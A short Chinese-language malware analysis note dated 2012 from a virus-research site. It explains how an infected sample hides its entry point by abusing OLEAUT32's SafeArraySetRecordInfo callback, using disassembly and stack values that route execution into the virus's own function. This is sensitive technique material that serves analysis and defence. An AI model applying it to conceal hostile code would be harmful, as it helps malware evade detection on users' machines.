_ _ (_) | | __ ____ __ _ _ _ _ __ ___ _ __ _ __ ___ | |_ \ \ / /\ \/ /| || | | || '_ ` _ \ | '_ \ | '_ \ / _ \| __| \ V / > < | || |_| || | | | | || |_) |_ | | | || __/| |_ \_/ /_/\_\| | \__,_||_| |_| |_|| .__/(_)|_| |_| \___| \__| _/ | | | |__/ |_| /---------------------------------------------------------------------------------------\ |>...................[ 病毒EPO方式tips ]...................<| |>......................[ by nEINEI/vxjump.net ]......................<| |>......................[ 2012-02-08 ]......................<| \>...................... [ neineit_at_gmail.com ] .........。........... 0022FDE4 0022FDE4 0022FDE8 7C810867 kernel32.7C810867 0022FDEC 306817C0 flash_pl.306817C0 ---- 病毒设置的允许callback的函数 0022FDF0 0022FDE4 0022FDF4 0020FFFC ---> 指向psa参数 _SafeArraySetRecordInfo@8 proc near ; CODE XREF: LPSAFEARRAY_Unmarshal(x,x,x,x)+18BA2p .text:771399BB ; CRecordInfo::MakeVar(tagTYPEDESC *,void *,ulong,tagVARIANT *)+41Bp ... .text:771399BB .text:771399BB psa = dword ptr 8 .text:771399BB prinfo = dword ptr 0Ch .text:771399BB .text:771399BB mov edi, edi .text:771399BD push ebp .text:771399BE mov ebp, esp .text:771399C0 push esi .text:771399C1 mov esi, [ebp+psa] ********* esi ---> 参数psa; .text:771399C4 test esi, esi .text:771399C6 jz short loc_771399EF .text:771399C8 test byte ptr [esi+2], 20h .text:771399CC jz short loc_771399EF .text:771399CE mov eax, [esi-4] ********* eax ---> 0022FDF0 .text:771399D1 test eax, eax .text:771399D3 jz short loc_771399DB .text:771399D5 mov ecx, [eax] ******** ecx --> 0022FDE4 .text:771399D7 push eax .text:771399D8 call dword ptr [ecx+8] ********* 开始运行病毒自身的代码(306817C0 flash_pl.306817C0)。 .text:771399DB .text:771399DB loc_771399DB: ; CODE XREF: SafeArraySetRecordInfo(x,x)+18j .text:771399DB mov eax, [ebp+prinfo] .text:771399DE test eax, eax .text:771399E0 mov [esi-4], eax .text:771399E3 jz short loc_771399EB .text:771399E5 mov ecx, [eax] .text:771399E7 push eax .text:771399E8 call dword ptr [ecx+4] .text:771399EB .text:771399EB loc_771399EB: ; CODE XREF: SafeArraySetRecordInfo(x,x)+28j .text:771399EB xor eax, eax .text:771399ED jmp short loc_771399F4 .text:771399EF ; --------------------------------------------------------------------------- .text:771399EF .text:771399EF loc_771399EF: ; CODE XREF: SafeArraySetRecordInfo(x,x)+Bj .text:771399EF ; SafeArraySetRecordInfo(x,x)+11j .text:771399EF mov eax, 80070057h .text:771399F4 .text:771399F4 loc_771399F4: ; CODE XREF: SafeArraySetRecordInfo(x,x)+32j .text:771399F4 pop esi .text:771399F5 pop ebp .text:771399F6 retn 8 .text:771399F6 _SafeArraySetRecordInfo@8 endp 在installer阶段需要设置好堆栈上面的数值 0022FDE0 30674713 flash_pl. 0022FDE4 0022FDE4 0022FDE8 7C810867 kernel32.7C810867 0022FDEC 306817C0 flash_pl.306817C0 0022FDF0 0022FDE4 0022FDF4 0020FFFC 堆栈0022FDF4 0022FDF0 0022FDE4 的数值要在调用SafeArraySetRecordInf前计算填充好,使得利用值刚好是 病毒的函数。该样本利用的方式如下 3067475A 40 inc eax 3067475B 50 push eax 3067475C 6A 00 push 0 3067475E FF15 70506A30 call dword ptr ds:[<&OLEAUT32.SafeArrayG>; OLEAUT32.SafeArrayGetVartype |eax-->8007057 30674764 05 B3FFFAFF add eax,FFFAFFB3 | eax -->8002000a 30674769 F7D0 not eax 3067476B A9 0A000280 test eax,8002000A ... 30674783 F7D0 not eax 30674785 8BD8 mov ebx,eax 30674787 F9 stc 30674788 2D 4AE8994F sub eax,4F99E84A |eax --> 306817C0(病毒的自身函数地址) --------------------------------- EOF ------------------------------------------------------------